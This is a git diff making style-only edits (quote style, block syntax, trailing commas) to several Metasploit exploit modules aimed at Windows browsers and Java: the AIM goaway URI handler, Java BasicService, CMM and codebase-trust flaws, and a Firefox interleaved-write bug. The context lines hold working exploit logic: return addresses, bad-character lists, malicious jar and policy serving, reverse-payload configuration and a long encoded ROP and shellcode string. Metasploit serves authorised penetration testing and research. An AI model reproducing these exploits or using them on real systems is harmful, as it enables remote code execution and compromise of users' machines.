-32,14 +32,14 @@ class MetasploitModule < Msf::Exploit::Remote # 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed) 'Space' => 164, 'BadChars' => "\x00", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ [ 'Magic Heap Target #1', { 'Platform' => 'win', - 'Ret' => 0x01625c44, # We grow to our own return address + 'Ret' => 0x01625c44 # We grow to our own return address }, ], ], @@ -91,15 +91,15 @@ class MetasploitModule < Msf::Exploit::Remote # this address has been allocated and filled, each subsequent # request will result in our shellcode being executed. - 1.upto(200) { |i| + 1.upto(200) do |i| connect print_status("Sending request #{i} of 200...") if (i % 10) == 0 sock.put(req) disconnect # Give the process time to recover from each exception - select(nil, nil, nil, 0.1); - } + select(nil, nil, nil, 0.1) + end handler end diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index 4df56f2b58..50cad67ef8 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Space' => 1014, 'MaxNops' => 1014, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'Targets' => [ # Target 0: Automatic @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Rets' => [ 0x1108118f, # proto.com: pop/pop/ret - ], + ] }, ], ], @@ -65,9 +65,9 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) # Build out the message msg = @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote # Build the HTML content content = "<html><iframe src='aim:goaway?message=#{msg}'></html>" - print_status("Sending #{self.name}") + print_status("Sending #{name}") # Transmit the response to the client send_response_html(cli, content) diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb index ad1a93fd61..e93df28ed5 100644 --- a/modules/exploits/windows/browser/java_basicservice_impl.rb +++ b/modules/exploits/windows/browser/java_basicservice_impl.rb @@ -46,14 +46,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Windows x86', { 'Arch' => ARCH_X86, - 'Platform' => 'win', + 'Platform' => 'win' } ], [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, - 'Platform' => 'java', + 'Platform' => 'java' } ], ], @@ -73,13 +73,13 @@ class MetasploitModule < Msf::Exploit::Remote case request.uri when /java.security.policy/ - print_status("Checking with HEAD") - ack = "OK" + print_status('Checking with HEAD') + ack = 'OK' send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /all.policy/ all = "grant {permission java.security.AllPermission;};\n" - print_status("Sending all.policy") + print_status('Sending all.policy') send_response(cli, all, { 'Content-Type' => 'application/octet-stream' }) when /init.jnlp/ @@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote </application-desc> </jnlp> EOS - print_status("Sending init.jnlp") + print_status('Sending init.jnlp') send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /exploit.jnlp/ @@ -103,35 +103,35 @@ class MetasploitModule < Msf::Exploit::Remote <application-desc main-class="Exploit"/> </jnlp> EOS - print_status("Sending exploit.jnlp") + print_status('Sending exploit.jnlp') send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /\.jar$/i p = regenerate_payload(cli) paths = [ - [ "BasicServiceExploit.class" ], - [ "Exploit.class" ], + [ 'BasicServiceExploit.class' ], + [ 'Exploit.class' ], ] - dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ] + dir = [ Msf::Config.data_directory, 'exploits', 'cve-2010-3563' ] jar = p.encoded_jar jar.add_files(paths, dir) - print_status("Sending Jar") - send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) + print_status('Sending Jar') + send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' }) handler(cli) else - print_status("Sending redirect to init.jnlp") - send_redirect(cli, get_resource() + '/init.jnlp', '') + print_status('Sending redirect to init.jnlp') + send_redirect(cli, get_resource + '/init.jnlp', '') end end def jnlp_info - buf = <<-EOS + <<-EOS <information> - <title>#{Rex::Text.rand_text_alpha(rand(10) + 10)} - #{Rex::Text.rand_text_alpha(rand(10) + 10)} - #{Rex::Text.rand_text_alpha(rand(10) + 10)} + #{Rex::Text.rand_text_alpha(rand(10..19))} + #{Rex::Text.rand_text_alpha(rand(10..19))} + #{Rex::Text.rand_text_alpha(rand(10..19))} diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index 9fbf8c9875..11f1131888 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -67,17 +67,17 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Init.class") - @init_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Leak.class") - @leak_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyBufferedImage.class") - @buffered_image_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyColorSpace.class") - @color_space_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'Init.class') + @init_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'Leak.class') + @leak_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'MyBufferedImage.class') + @buffered_image_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'MyColorSpace.class') + @color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @init_class_name = rand_text_alpha("Init".length) - @init_class.gsub!("Init", @init_class_name) + @init_class_name = rand_text_alpha('Init'.length) + @init_class.gsub!('Init', @init_class_name) super end @@ -88,38 +88,38 @@ class MetasploitModule < Msf::Exploit::Remote when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@init_class_name}.class", @init_class) - jar.add_file("Leak.class", @leak_class) - jar.add_file("MyBufferedImage.class", @buffered_image_class) - jar.add_file("MyColorSpace.class", @color_space_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } + jar.add_file('Leak.class', @leak_class) + jar.add_file('MyBufferedImage.class', @buffered_image_class) + jar.add_file('MyColorSpace.class', @color_space_class) + metasploit_str = rand_text_alpha('metasploit'.length) + payload_str = rand_text_alpha('payload'.length) + jar.entries.each do |entry| + entry.name.gsub!('metasploit', metasploit_str) + entry.name.gsub!('Payload', payload_str) + entry.data = entry.data.gsub('metasploit', metasploit_str) + entry.data = entry.data.gsub('Payload', payload_str) + end jar.build_manifest - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ + send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' }) + when %r{/$} payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else - send_redirect(cli, get_resource() + '/', '') + send_redirect(cli, get_resource + '/', '') end end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = %(Loading, Please Wait...) + html += %(

Loading, Please Wait...

) + html += %() + html += %() return html end end diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 8f89198242..f005ba0b76 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, - 'Platform' => 'java', + 'Platform' => 'java' } ], @@ -81,21 +81,21 @@ class MetasploitModule < Msf::Exploit::Remote [ # This is the default for a 32-bit Windows install OptString.new('LIBPATH', [ - false, "The codebase path to use (privileged)", - "C:\\Program Files\\java\\jre6\\lib\\ext" + false, 'The codebase path to use (privileged)', + 'C:\\Program Files\\java\\jre6\\lib\\ext' ]), ] ) end def exploit - path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR) + path = [ Msf::Config.data_directory, 'exploits', 'cve-2010-4452', 'AppletX.class' ].join(::File::SEPARATOR) @java_class = nil - File.open(path, "rb") { |fd| + File.open(path, 'rb') do |fd| @java_class = fd.read(fd.stat.size) - } - if not @java_class - fail_with(Failure::Unknown, "Unable to load java class") + end + if !@java_class + fail_with(Failure::Unknown, 'Unable to load java class') end super @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote host_num = Rex::Socket.addr_aton(host).unpack('N').first code_url = jpath.sub(host, host_num.to_s) - codebase = "file:" + datastore['LIBPATH'] + codebase = 'file:' + datastore['LIBPATH'] config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n" # The java payloads decide to be reverse if LHOST is set. @@ -134,9 +134,9 @@ class MetasploitModule < Msf::Exploit::Remote # As such, we do not use the traditional payload generation facilities. # However, we call the following so that bind payloads will properly # connect to the client instead of using RHOST - p = regenerate_payload(cli) + regenerate_payload(cli) - print_status("Sending .class file") + print_status('Sending .class file') cls = @java_class.dup cls[config_off, 2] = [config.length].pack('n') @@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote # File.open('ughz.class', 'wb') { |fd| fd.write cls } - send_response(cli, cls, { 'Content-Type' => "application/octet-stream" }) + send_response(cli, cls, { 'Content-Type' => 'application/octet-stream' }) handler(cli) else @@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote EOS - print_status("Sending HTML") + print_status('Sending HTML') send_response_html(cli, html) end end diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index b95adef354..cb5e556899 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -47,11 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { 'Space' => 1024, - 'BadChars' => "", + 'BadChars' => '' }, 'Targets' => [ # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003 @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -80,11 +80,11 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) - print_status("Sending exploit HTML...") + print_status('Sending exploit HTML...') send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) - custom_js = %Q| + custom_js = %| function check(){ var temp=""; var user=navigator.userAgent.toLowerCase(); @@ -262,11 +262,11 @@ else { if datastore['OBFUSCATE'] opts = { 'Symbols' => { - 'Variables' => %w{ + 'Variables' => %w[ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk - }, - 'Methods' => %w{getatts code check dedede} + ], + 'Methods' => %w[getatts code check dedede] } } @@ -281,7 +281,7 @@ else {
u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b
uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016
u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a
-
#{enc_code.split("%").join}uffffuffffuffffuffff
+
#{enc_code.split('%').join}uffffuffffuffffuffff